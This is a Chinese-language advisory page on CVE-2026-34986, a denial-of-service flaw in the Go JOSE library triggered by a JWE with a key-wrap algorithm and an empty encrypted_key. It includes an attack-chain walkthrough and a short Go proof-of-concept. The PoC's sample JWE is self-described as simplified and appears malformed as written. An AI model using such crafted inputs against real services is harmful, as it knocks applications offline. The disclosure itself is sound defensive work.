IPBUF安全漏洞报告
English
CVE-2026-34986 CVSS 7.5 高危

CVE-2026-34986 Go JOSE 拒绝服务漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-34986
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
go-jose/go-jose

相关标签

拒绝服务DoSGoGo-JOSEJWEPanic

漏洞概述

Go JOSE库在4.1.4和3.0.5之前的版本中存在安全漏洞。当解密JWE对象时,若`alg`字段指示密钥包装算法(如A128KW等)且`encrypted_key`字段为空,会导致`cipher.KeyUnwrap`函数引发panic。攻击者无需认证即可利用此漏洞使目标应用崩溃,从而造成拒绝服务。

技术细节

该漏洞位于Go JOSE库的`key_wrap.go`文件中的`cipher.KeyUnwrap()`函数。当应用程序使用`ParseEncrypted`、`ParseEncryptedJSON`或`ParseEncryptedCompact`解析JWE对象并随后调用`Decrypt`方法时,如果解析过程中接受的算法列表包含密钥包装算法(即以KW结尾的算法,但A128GCMKW、A192GCMKW和A256GCMKW除外),且传入的`encrypted_key`字段为空,`KeyUnwrap()`函数会尝试依据`encrypted_key`的长度分配切片。由于长度为零或负数,这将直接触发Go语言的运行时panic,导致程序异常终止。攻击者可利用此逻辑缺陷构造恶意数据包,无需任何权限即可远程发起拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者识别目标系统使用了Go JOSE库来处理JWE解密操作。
STEP 2
武器化
攻击者构造一个特制的JSON Web Encryption (JWE)对象,将其`alg`字段设置为以KW结尾的密钥包装算法(如A128KW),并将`encrypted_key`字段设置为空。
STEP 3
交付
攻击者将构造好的恶意JWE对象发送给目标应用程序的接口。
STEP 4
利用
目标应用程序调用`ParseEncrypted`解析该JWE对象,随后调用`Decrypt`进行解密。由于`encrypted_key`为空,`cipher.KeyUnwrap()`函数尝试分配无效长度的切片,触发运行时panic。
STEP 5
影响
应用程序因panic而崩溃,导致服务不可用,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
package main import ( "fmt" "github.com/go-jose/go-jose/v3" ) // This PoC demonstrates the panic trigger in vulnerable versions. // It requires a vulnerable version of go-jose (< 4.1.4 or < 3.0.5). func main() { // Construct a malicious JWE string. // Header: {"alg":"A128KW","enc":"A128GCM"} // The encrypted_key part is intentionally left empty to trigger the panic. // Note: This is a simplified representation of the malformed payload structure. malformedJWE := "eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0..INVALID_PAYLOAD." fmt.Println("Attempting to parse and decrypt malicious JWE...") // Parse the JWE obj, err := jose.ParseEncrypted(malformedJWE) if err != nil { fmt.Printf("Parse error (expected in some cases): %v\n", err) return } // Attempting to decrypt with an empty key or any key when encrypted_key is empty // and alg is A128KW will trigger a panic in cipher.KeyUnwrap(). // This leads to the Denial of Service. _, err = obj.Decrypt([]byte("test_key")) if err != nil { fmt.Printf("Decrypt error: %v\n", err) } }

影响范围

go-jose/go-jose < 4.1.4
go-jose/go-jose < 3.0.5

防御指南

临时缓解措施
如果无法立即升级,请确保应用程序在解析JWE对象时,在accepted key algorithms列表中不包含任何以KW结尾的密钥包装算法(A128GCMKW等除外),这样可以阻止解析包含恶意算法的JWE对象,从而避免触发panic。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表